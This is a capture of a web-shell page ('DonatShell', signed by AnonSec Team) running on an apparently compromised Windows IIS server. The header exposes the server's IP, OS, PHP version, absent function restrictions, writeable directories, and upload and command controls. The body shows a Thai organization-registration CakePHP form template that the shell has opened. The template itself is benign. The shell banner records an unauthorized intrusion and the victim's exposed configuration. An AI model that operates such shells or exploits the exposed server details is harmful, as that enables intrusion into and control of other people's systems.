DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/app/View/Elements/Organizations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/app/View/Elements/Organizations/add_edit.ctp
<?php echo $this->Form->create('Organization', array( 'type' => 'file', 'class' => 'form-horizontal admin' ) ); ?>
<div class="panel panel-default">
    <div class="panel-heading">ข้อมูลทั่วไป</div>
    <div class="panel-body">
        <div class="form-group">
            <?php
                echo $this->Form->label('Type',
                    sprintf('%s <b class="form-required">*</b>', __('ประเภทองค์กร')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Type', array(
                        'multiple' => false,
                        'label' => false,
                        'class' => 'form-control required',
                        'div' => 'col-md-6',
                        'empty' => 'กรุณาเลือกประเภท'
                    ));
            ?>
        </div>

        <div class="form-group">
            <?php
                echo $this->Form->label('name',
                    sprintf('%s <b class="form-required">*</b>', __('ชื่อองค์กร')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('name', array(
                        'label' => false,
                        'class' => 'form-control required',
                        'div' => 'col-md-6',
                        'maxlength' => 500
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('eng_name',
                    __('ชื่อองค์กรภาษาอังกฤษ'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('eng_name', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6',
                        'maxlength' => 500
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('short_name',
                    __('ชื่อย่อองค์กร'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('short_name', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6',
                        'maxlength' => 20
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('eng_short_name',
                    __('ชื่อย่อองค์กรภาษาอังกฤษ'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('eng_short_name', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6',
                        'maxlength' => 20
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('fax',
                    __('โทรสาร'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('fax', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6',
                        'maxlength' => 15
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('email',
                    __('อีเมล์องค์กร'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('email', array(
                        'label' => false,
                        'type' => 'email',
                        'class' => 'form-control',
                        'div' => 'col-md-6',
                        'maxlength' => 100,
                        'required' => false
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('url',
                    __('เว็บไซต์'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('url', array(
                        'type' => 'url',
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6',
                        'maxlength' => 100,
                        'required' => false,
                        'placeholder' => 'http://www.example.com'
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('telephone1',
                    sprintf('%s <b class="form-required">*</b>', __('หมายเลขโทรศัพท์องค์กร 1')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('telephone1', array(
                        'label' => false,
                        'class' => 'form-control required',
                        'div' => 'col-md-6',
                        'maxlength' => 15
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('telephone2',
                    __('หมายเลขโทรศัพท์องค์กร 2'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('telephone2', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6',
                        'maxlength' => 15
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('founded',
                    sprintf('%s', __('วันที่ก่อตั้ง')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('founded', array(
                            'label' => false,
                            'before' => '<span class="input-group-addon glyphicon glyphicon-calendar"></span>',
                            'type' => 'text',
                            'class' => 'form-control datepicker',
                            'div' => 'col-md-6 input-group'
                        ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('joined', __('วันที่เริ่มเป็นสมาชิก <b class="form-required">*</b>'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('joined', array(
                            'label' => false,
                            'before' => '<span class="input-group-addon glyphicon glyphicon-calendar"></span>',
                            'type' => 'text',
                            'class' => 'form-control datepicker required',
                            'div' => 'col-md-6 input-group'
                        ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('address1', __('ที่อยู่'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('address1', array(
                            'label' => false,
                            'type' => 'textarea',
                            'class' => 'form-control',
                            'div' => 'col-md-6',
                            'maxlength' => 1000
                        ));
            ?>
        </div>
        <div class="district-filter">
            <div class="form-group">
                <?php
                    echo $this->Form->label('province_id', __('จังหวัด <b class="form-required">*</b>'), array('class' => 'col-md-4 control-label text-right'));
                    echo $this->Form->input('province_id', array(
                            'options' => $provinces,
                            'label' => false,
                            'class' => 'form-control selected-province required',
                            'data-name' => 'districts',
                            'div' => 'col-md-6',
                            'empty' => __('กรุณาเลือกจังหวัด'),
                            'value' => isset($province_exists['Province']['id']) ? $province_exists['Province']['id'] : null
                        ));
                ?>
            </div>
            <div class="form-group">
                <?php
                    echo $this->Form->label('district_id', __('อำเภอ / เขต <b class="form-required">*</b>'), array('class' => 'col-md-4 control-label text-right'));
                    echo $this->Form->input('district_id', array(
                            'options' => $districts,
                            'value' => isset($province_exists) ? $province_exists['District']['id'] : '',
                            'label' => false,
                            'class' => 'form-control required district-select',
                            'div' => 'col-md-6',
                            'disabled' => isset( $province_exists['District']['name'] ) ? false : true,
                        ));
                ?>
            </div>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('postal_code',
                    sprintf('%s <b class="form-required">*</b>', __('รหัสไปรษณีย์')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('postal_code', array(
                        'label' => false,
                        'class' => 'form-control required',
                        'div' => 'col-md-6',
                        'maxlength' => 5
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('work_level',
                    __('หมายเหตุ'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('work_level', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6'
                    ));
            ?>
        </div>

        <div class="form-group">
            <?php
                echo $this->Form->label('mou_name',
                    __('ข้อตกลงความร่วมมือ (MOU)'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('mou_name', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6',
                        'maxlength' => 20
                    ));
            ?>
        </div>


        <div class="form-group">
            <?php
                echo $this->Form->label('objective',
                     __('ผลงานที่ผ่านมา'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('objective', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6'
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('publish',
                    __('ประวัติโดยย่อ'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('publish', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6'
                    ));
            ?>
        </div>


        <?php /*
        <div class="form-group">
                echo $this->Form->label('Offer',
                    sprintf('%s <b class="form-required">*</b>', __('ข้อเสนอ')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Offer', array(
                        'multiple' => true,
                        'label' => false,
                        'class' => 'form-control required',
                        'div' => 'col-md-6'
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('Action',
                    sprintf('%s <b class="form-required">*</b>', __('Actions')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Action', array(
                        'multiple' => true,
                        'label' => false,
                        'class' => 'form-control required',
                        'div' => 'col-md-6'
                    ));
            ?>
        </div>
         */ ?>
        <div class="form-group">
            <?php /*
                echo $this->Form->label('Target',
                    sprintf('%s <b class="form-required">*</b>', __('กลุ่มเป้าหมาย')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Target', array(
                        'multiple' => true,
                        'label' => false,
                        'class' => 'form-control required',
                        'div' => 'col-md-6'
                    ));*/
            ?>
        </div>
        <?php /*
        <div class="form-group">
            <?php
                echo $this->Form->label('role_id',
                    sprintf('%s <b class="form-required">*</b>', __('บทบาทและหน้าที่')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('role_id', array(
                        'multiple' => false,
                        'label' => false,
                        'class' => 'form-control required',
                        'div' => 'col-md-6',
                        'empty' => 'Please select role'
                    ));
            ?>
        </div>*/ ?>
    </div>
</div><!-- First Panel -->

<div class="district-filter panel panel-default">
    <div class="panel-heading"><?php echo __('ประวัติการแก้ไข') ?></div>
    <div class="panel-body">
         <div class="form-group">
            <?php
                echo $this->Form->label('created',
                    __('สร้างเมื่อ'),
                    array('class' => 'col-md-4 control-label text-right'));
            ?>
            <div class="show_edit_data">
           <?php echo $this->request->data['Organization']['created']; ?>
            </div>        
         </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('createdby',
                    __('สร้างโดย'),
                    array('class' => 'col-md-4 control-label text-right'));
            ?>
            <div class="show_edit_data">
           <?php echo $this->request->data['Organization']['createdby']; ?>
            </div>        
         </div>
         <div class="form-group">
            <?php
                echo $this->Form->label('modified',
                    __('แก้ไขล่าสุดเมื่อ'),
                    array('class' => 'col-md-4 control-label text-right'));
            ?>
            <div class="show_edit_data">
           <?php echo $this->request->data['Organization']['modified']; ?>
            </div>        
         </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('modifieddby',
                    __('แก้ไขล่าสุดโดย'),
                    array('class' => 'col-md-4 control-label text-right'));
            ?>
            <div class="show_edit_data">
           <?php echo $this->request->data['Organization']['modifiedby']; ?>
            </div>        
         </div>
    </div>
</div>

<div class="district-filter panel panel-default">
    <div class="panel-heading"><?php echo __('กลุ่มเป้าหมาย') ?></div>
    <div class="panel-body">
        <div class="form-group">
            <?php echo $this->Form->label('targetlist', __('กล่มเป้าหมาย'), array('class' => 'col-md-4 control-label text-right')); ?>
            <div class="col-md-4">
                <?php
                    echo $this->Form->select('targetlist', $targetList, array(
                            'label' => false,
                            'class' => 'form-control district-select',
                            'empty' => false
                        ));
                ?>
            </div>
                <?php
                    echo $this->Html->link(__(' + '),
                        '#',
                        array(
                            'class' => 'btn btn-success addArea',
                            'data-name' => 'Target',
                    ));
                ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('Target', __('กล่มเป้าหมายที่เลือก'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Target', array(
                        'label' => false,
                        'class' => 'form-control required',
                        'multiple' => 'checkbox',
                        'div' => 'col-md-6 area-list'
                    ));
            ?>
        </div>
    </div>
</div><!-- Topic and subtopic -->

<div class="district-filter panel panel-default">
    <div class="panel-heading"><?php echo __('ผู้ประสานงาน') ?></div>
    <div class="panel-body">
        <div class="form-group">
            <?php
                echo $this->Form->label('contact-list',
                     __('ชื่อผู้ประสานงาน'),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('contact-list', array(
                        'options' => $contacts_list,
                        'label' => false,
                        'class' => 'form-control required',
                        'div' => 'col-md-4'
                    ));

                 echo $this->Html->link(__(' + '),
                    '#',
                    array(
                        'class' => 'btn btn-success addArea',
                        'data-name' => 'Contact',
                        // 'disabled' => true
                ));

                echo $this->Html->link(__('เพิ่มผู้ประสานงานใหม่'),
                    '#addContactModal',
                    array(
                        'class' => 'btn btn-info',
                        'data-toggle' => 'modal',
                        'id' => 'addContactForm'
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('Contact', __('ผู้ติดต่อที่เลือก'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Contact', array(
                        'label' => false,
                        'class' => 'form-control required',
                        'id' => 'OrganizationContact',
                        'type' => 'select',
                        'multiple' => 'checkbox',
                        'div' => 'col-md-6 area-list'
                    ));
            ?>
        </div>
    </div>
</div> <!-- Contact Panel -->

<div class="district-filter panel panel-default">
    <div class="panel-heading"><?php echo __('เพิ่มประเภทสิทธิ') ?></div>
    <div class="panel-body">
    <div class="form-group">
            <?php
                echo $this->Form->label('Topic', __('ประเภทสิทธิหลัก'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Topic', array(
                        'label' => false,
                        'class' => 'form-control selected-province',
                        'div' => 'col-md-6',
                        'data-name' => 'subtopics',
                        'empty' => '- เลือกประเภทสิทธิหลัก -'
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('subtopiclist', __('ประเภทสิทธิย่อย'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('subtopiclist', array(
                        'options' => array(),
                        'label' => false,
                        'class' => 'form-control district-select',
                        'div' => 'col-md-4',
                        'disabled' => true
                    ));

                echo $this->Html->link(__(' + '),
                    '#',
                    array(
                        'class' => 'btn btn-success addArea',
                        'data-name' => 'subtopics',
                        'disabled' => true
                ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('Subtopic', __('ประเภทสิทธิ'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Subtopic', array(
                        'label' => false,
                        'class' => 'form-control required',
                        'multiple' => 'checkbox',
                        'div' => 'col-md-6 area-list'
                    ));
            ?>
        </div>
    </div>
</div><!-- Topic and subtopic -->

<!-- Organization Memberships START -->
<div class="panel panel-default">
    <div class="panel-heading"><?php echo __('โครงการพิเศษ') ?></div>
    <div class="panel-body">

            <div class="form-group">
                <?php echo $this->Form->label('OrgMembership', __('ชื่อโครงการ') , array('class' => 'col-md-4 control-label text-right' )); ?>
                        <?php echo $this->Form->input('OrgMembership', array(
                                        'label' => false,
                                        'options' => $members,
                                        'class' => 'form-control mou-date',
                                        'div' => 'col-md-4',
                                        'empty' => __('เลือกโครงการพิเศษ'),
                                        'id' => 'OrgMembership',
                                        'value' => '',
                                ));
                        ?>

                    <?php
                        echo $this->Html->link(__(' + '),
                            '#',
                            array(
                                'id' => 'add-membership',
                                'class' => 'btn btn-success addMembership',
                                'data-name' => 'Membership',
                        ));
                    ?>
            </div>

            <div class="form-group">
            <?php echo $this->Form->label('OrganizationMembership', __('โครงการพิเศษที่ถูกเลือก'), array('class' => 'col-md-4 control-label text-right' ) ); ?>

            <div class="col-md-6 memberships-list">
                <?php $cpt = 0; ?>
                <?php if( !empty( $org_member ) ): ?>
                        <?php foreach( $org_member as $kOrgMembership => $vOrgMembership ): ?>
                            <div class="position-list-con OrgPosition">
                                <div class="form-group">
                                    <div class="col-md-7">
                                        <input type="checkbox" checked="checked" name="data[OrgMembership][OrgMembership][<?php echo $cpt;?>]" value="<?php echo $vOrgMembership['OrgMembership']['member_id']; ?>" id="OrgMembership<?php echo $vOrgMembership['OrgMembership']['member_id']; ?>" />
                                        <label for="OrgMembership<?php echo $vOrgMembership['OrgMembership']['member_id']; ?>"><?php echo $vOrgMembership['Member']['name']; ?></label>
                                    </div>
                                </div>
                                <div class="form-group">
                                    <?php
                                        echo $this->Form->input('OrgMembershipStart', array(
                                                'name' => 'data[OrgMembership][OrgMembershipStart][' . $cpt . ']',
                                                'class' => 'datepicker required form-control',
                                                'div' => array('class' => 'col-md-7 input-group'),
                                                'label' => false,
                                                'type' => 'text',
                                                'id' => 'OrgMembershipStart' . $vOrgMembership['OrgMembership']['member_id'],
                                                'after' => '<span class="glyphicon glyphicon-calendar input-group-addon"></span>',
                                                'value' => $vOrgMembership['OrgMembership']['start'],
                                            ));
                                    ?>
                                    </div>
                                    <div class="form-group">
                                    <?php
                                        echo $this->Form->input('OrgMembershipEnd', array(
                                            'name' => 'data[OrgMembership][OrgMembershipEnd][' . $cpt . ']',
                                                'class' => 'datepicker required form-control',
                                                'div' => array('class' => 'col-md-7 input-group'),
                                                'label' => false,
                                                'type' => 'text',
                                                'after' => '<span class="glyphicon glyphicon-calendar input-group-addon"></span>',
                                                'value' => $vOrgMembership['OrgMembership']['end'],
                                                'id' => 'OrgMembershipEnd' . $vOrgMembership['OrgMembership']['member_id'],
                                            ));
                                    ?>
                                </div>
                            </div>

                    <?php $cpt++ ?>
                        <?php endforeach; ?>
                <?php endif; ?>

            </div>

        </div>


<!--
            <div class="form-group">
                <?php
                    echo $this->Form->label('mou_start', __('วันที่เริ่มทำ'), array('class' => 'col-md-4 control-label text-right'));
                    echo $this->Form->input('mou_start', array(
                                'label' => false,
                                'after' => '<span class="input-group-addon glyphicon glyphicon-calendar"></span>',
                                'type' => 'text',
                                'class' => 'form-control datepicker mou-date required',
                                'div' => 'col-md-6 input-group',
                                // 'disabled' => true,
                        ));
                ?>
            </div>
            <div class="form-group">
                <?php
                    echo $this->Form->label('mou_end', __('วันที่สิ้นสุด'), array('class' => 'col-md-4 control-label text-right'));
                    echo $this->Form->input('mou_end', array(
                                'label' => false,
                                'after' => '<span class="input-group-addon glyphicon glyphicon-calendar"></span>',
                                'type' => 'text',
                                'class' => 'form-control datepicker mou-date required',
                                'div' => 'col-md-6 input-group',
                                // 'disabled' => true
                        ));
                ?>
            </div>
-->

    </div> <!-- panel-body -->
</div>
<!-- Organization Memberships END -->

<div class="district-filter area-container panel panel-default">
    <div class="panel-heading"><?php echo __('เพิ่มพื้นที่การทำงาน') ?></div>
    <div class="panel-body">
        <div class="form-group">
            <?php
                echo $this->Form->input('is_nationwide', array(
                        'id' => 'is_nationwide',
                        'div' => 'col-md-offset-4 col-md-6',
                        'label' => __('ทั่วประเทศ')
                    ));
            ?>
        </div>
        <div id="wrapper-working-areas" class="<?php echo ( isset( $this->request->data['Organization']['is_nationwide'] ) && $this->request->data['Organization']['is_nationwide'] ) ? 'hidden' : 'show'; ?>">
            <div class="form-group">
                <?php
                    echo $this->Form->label('area_province', __('เลือกจังหวัด'), array('class' => 'col-md-4 control-label text-right'));
                    echo $this->Form->input('area_province', array(
                            'options' => $provinces,
                            'label' => false,
                            'class' => 'form-control selected-province',
                            'div' => 'col-md-4',
                            'data-name' => 'districts',
                            'empty' => 'กรุณาเลือกจังหวัด'
                        ));
                    echo $this->Html->link( __( '+' ),
                        '#',
                        array(
                            'id' => 'add_provincewide',
                            'div' => 'col-md-2 area-list',
                            'class' => 'btn btn-success',
                        ) );
                ?>
            </div>

            <!-- ++ province wide ++ -->
            <div class="form-group">
                <?php
                    echo $this->Form->label('OrganizationProvinceWide', __('ทั่วทั้งจังหวัด'), array('class' => 'col-md-4 control-label text-right'));
                    /*
                    // I can't make the checkboxes to be all checked so I will add everything manually (clock is ticking, sorry...)
                    echo $this->Form->input('OrganizationProvinceWide', array(
                            'options' => isset($provinceswide) ? $provinceswide : array(),
                            'label' => false,
                            'class' => 'form-control required',
                            'multiple' => 'checkbox',
                            'div' => 'col-md-6 area-list provinces-wide-list',
                            'name' => 'data[OrganizationProvinceWide][OrganizationProvinceWide]',
                        ));
                    */
                ?>
                <div class="col-md-6 provinces-wide-list">
                    <?php if( isset( $provinceswide ) ) : ?>
                        <?php foreach( $provinceswide as $kProvincewide => $vProvincewide ) : ?>
                            <div class="form-control required">
                                <input type="checkbox" checked="checked" name="data[OrganizationProvinceWide][OrganizationProvinceWide][]" value="<?php echo $kProvincewide; ?>" id="OrganizationProvinceWide<?php echo $kProvincewide; ?>" />
                                <label for="OrganizationProvinceWide<?php echo $kProvincewide; ?>"><?php echo $vProvincewide; ?></label>
                            </div>
                        <?php endforeach; ?>
                    <?php endif; ?>
                </div>
            </div>
            <!-- -- Province Wide -- -->

            <div class="form-group">
                <?php
                    echo $this->Form->label('area_district', __('เลือกอำเภอ'), array('class' => 'col-md-4 control-label text-right'));
                    echo $this->Form->input('area_district', array(
                            'options' => array(),
                            'label' => false,
                            'class' => 'form-control district-select',
                            'div' => 'col-md-4',
                            'disabled' => true
                        ));

                    echo $this->Html->link(__(' + '),
                        '#',
                        array(
                            'class' => 'btn btn-success addArea',
                            'data-name' => 'districts',
                            'disabled' => true
                    ));
                ?>
            </div>

            <div class="form-group">
                <?php
                    echo $this->Form->label('DistrictM2M', __('อำเภอ'), array('class' => 'col-md-4 control-label text-right'));
                    echo $this->Form->input('DistrictM2M', array(
                            'options' => isset($districtm2ms) ? $districtm2ms : array(),
                            'label' => false,
                            'class' => 'form-control required',
                            'multiple' => 'checkbox',
                            'div' => 'col-md-6 area-list',
                            'name' => 'data[DistrictM2M][DistrictM2M]'
                        ));
                ?>
            </div>
        </div> <!-- #wrapper-working-areas -->
    </div>
</div>

<div class="panel panel-default">
    <div class="panel-heading"><?php echo __('รูปภาพ') ?></div>
    <div class="panel-body">
        <div class="form-group">
            <?php
                echo $this->Form->label('photo', __('เลือกรูปภาพ'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('photo', array(
                    'type' => 'file',
                    'label' => false,
                    'class' => 'form-control',
                    'div' => 'col-md-6',
                ));
            ?>
        </div> <!-- .form-group -->

        <div class="form-group">
            <?php echo $this->Form->label('AttachedPhotos', __('รูปภาพที่มีอยู่แล้ว'), array('class' => 'col-md-4 control-label text-right')); ?>
            <ul id="existing-photos"  class="list-photos">
                <?php $nPhotos = isset( $this->request->data['Photo'] ) ? count( $this->request->data['Photo'] ) : 0; ?>
                <?php for( $i = 0; $i < $nPhotos; $i++) : ?>
                    <li>
                        <?php $photo = $this->request->data['Photo'][$i]; ?>
                        <?php echo $this->Html->image( $photos_url . '/' . $photo['name'], array( 'alt'   => $photo['name']) ); ?>
                        <?php echo $this->Form->input( 'Organization.delete_photo.' . $i, array(
                                    'type' => 'checkbox',
                                    'class' => '',
                                    'value' => $photo['id'],
                                    'hiddenField' => false,
                                    'label' => array( 'text' => 'delete' ),
                                    'div' => 'form-control',
                                    'legend' => false,
                                ));
                        ?>
                    </li>
                <?php endfor; ?>
            </ul>
        </div> <!-- .form-group -->
    </div> <!-- .pannel-body -->
</div>

<hr>
<div class="form-group">
    <?php
        echo $this->Form->end(array(
                'label' => $submit_label,
                'class' => 'btn btn-success',
                'div' => 'col-md-offset-4 col-md-4'
        ));

    ?>
</div>
<!-- Modal For add contact -->
<div class="modal fade" id="addContactModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h4 class="modal-title"><?php echo __('เพิ่มผู้ประสานงาน') ?></h4>
            </div>
            <?php echo $this->element('contact-form'); ?>
        </div><!-- /.modal-content -->
    </div><!-- /.modal-dialog -->
</div><!-- /.modal -->
<!-- End Modal -->
<script>
$(function() {
    var numberIncr = <?php echo $cpt;?>;
    /*$('.remove-mou').on('click', function(e) {
        e.preventDefault();
        var mouUrl = '<?php echo $this->webroot;?>';
        var orgId = <?php echo isset($this->request->data['Organization']['id']) ? $this->request->data['Organization']['id'] : '0'; ?>;
        var mouId = <?php echo empty($org_member) ? '0' : $org_member['OrgMembership']['member_id']; ?>;

        $.post(mouUrl + 'admin/organizations/mouDelete/' + orgId + '/' + mouId, function( result ) {
            if ( result ) {
                location.reload();
            }
        });
    });*/

    // Click on `nation wide` button for working areas
    $(' #is_nationwide' ).on( 'change', function( e ) {
        $( '#wrapper-working-areas' ).toggleClass( 'hidden' );
    } );

    // add a province wide
    $( '#add_provincewide' ).on( 'click', function( e ) {
        e.preventDefault();

        var provinceID = $( '#OrganizationAreaProvince' ).val();
        var provinceName = $("#OrganizationAreaProvince option:selected").text();
        var found = $( '#OrganizationProvinceWide' + provinceID ).length > 0;

        if( !found && (provinceID != '' ) ) {
            $( '.provinces-wide-list' ).append( '<div class="form-control required"><input type="checkbox" checked="checked" name="data[OrganizationProvinceWide][OrganizationProvinceWide][]" value="' + provinceID + '" id="OrganizationProvinceWide' + provinceID + '" /><label for="OrganizationProvinceWide' + provinceID + '" class="multiLabel">' + provinceName + '</label></div>' );
        }
    } );


    $( '#add-membership' ).on( 'click', function( e ) {
        e.preventDefault();

        var id = $( '#OrgMembership' ).val();
        var name = $("#OrgMembership option:selected").text();
        var found = ( $( ' #OrgMembership' + id ).length > 0 );

        if( ( id != '' ) && !found ) {
            var template = $("#org-membership-item").html();

            $( '.memberships-list' ).append( _.template( template, { 'id': id, 'name': name, 'numberIncrs': numberIncr } ) );

            $( '#OrgMembershipStart' + id ).datepicker( {format: 'yyyy-mm-dd'} );
            $( '#OrgMembershipEnd' + id ).datepicker( {format: 'yyyy-mm-dd'} );

        }

        numberIncr++
    } );

});
</script>

<script type="text/html" id='org-membership-item'>
    <div class="position-list-con OrgPosition">
         <div class="form-group">
            <div class="col-md-7">
                <input type="checkbox" checked="checked" name="data[OrgMembership][OrgMembership][<%=numberIncrs %>]" value="<%= id %>" id="OrgMembership<%= id %>" />
                <label for="OrgMembership<%= id %>" class="multiLabel"><%= name %></label>
            </div>
        </div>
        <div class="form-group">
            <div class="col-md-7 input-group">
                <input name="data[OrgMembership][OrgMembershipStart][<%=numberIncrs %>]" class="required datepicker form-control" autocomplete="off" id="OrgMembershipStart<%= id %>"  type="text" />
                <span class="glyphicon glyphicon-calendar input-group-addon"></span>
            </div>
        </div>
        <div class="form-group">
            <div class="col-md-7 input-group">
                <input name="data[OrgMembership][OrgMembershipEnd][<%=numberIncrs %>]" class="datepicker form-control" autocomplete="off" type="text" id="OrgMembershipEnd<%= id %>"/>
                <span class="glyphicon glyphicon-calendar input-group-addon"></span>
            </div>
        </div>
    </div>
</script>

Anon7 - 2022
AnonSec Team